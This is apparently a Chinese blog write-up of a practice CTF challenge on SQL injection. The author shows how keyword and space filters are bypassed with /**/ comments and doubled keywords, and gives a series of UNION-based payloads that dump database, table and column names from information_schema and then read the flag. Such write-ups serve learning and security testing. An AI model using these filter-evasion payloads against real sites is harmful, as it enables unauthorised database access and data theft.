接上面一篇博客。
实验吧简单的sql注入1
题目连接 http://ctf5.shiyanbar.com/423/web/
同样,直接输入 1加个但引号,结果下面有返回错误, , 有错,所以估计这里应该是要闭合,字符行注入,但是这个标题,到底过滤了什么,目前我还不知道过滤了什么,所以先搞一下。。
输入 1' and 1=1# 按理说应该是返回正常,结果返回了一个错误
‘#‘ 被过滤了,那好 还有其他姿势,输入 1’ and '1'='1
结果也错,怎么回事? 换or试一试 用 1’ or '1'='1
出现所有数据,但是and不行,所以估计是and被过滤了 看看是不是被过滤了 双写一下 1' andand '1'='1
输入两个and 结果只出现一个and ,确定and是被过滤了,而且后面那个空格也过滤了
没事,这里想到用/**/绕过过滤,用union
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
说老实话我不知道为什么这里的database()用不起,大神指点一下.
接下来爆表明
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
得到表名 flag
接下来爆字段名
1'/**/union/**/select/**/column_name/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag
但是不行 被报错
把information_schema.coluinformation_schema.columnsmns 给我过滤了,这里用双写,但是双写发现也会被过滤,可以啊,那我把一部分写在中间
1'/**/union/**/select/**/column_name/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag
结果还是报错,可能是起那面column_name也过滤了 ,这里把column_name也双写
1'/**/union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag
这里出现字段名flag。
接下来直接 1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
拿到flag
第二道题 用前两句一样可以拿到库名和表明,只是第三句爆字段名的时候不用双写
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag
也可以拿到表明和字段名 也是flag 和flag
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
也可以拿到答案
关于简单的sql注入3,我暂时还不会,fuzz测试还没学会,过两天会更新,一定会学会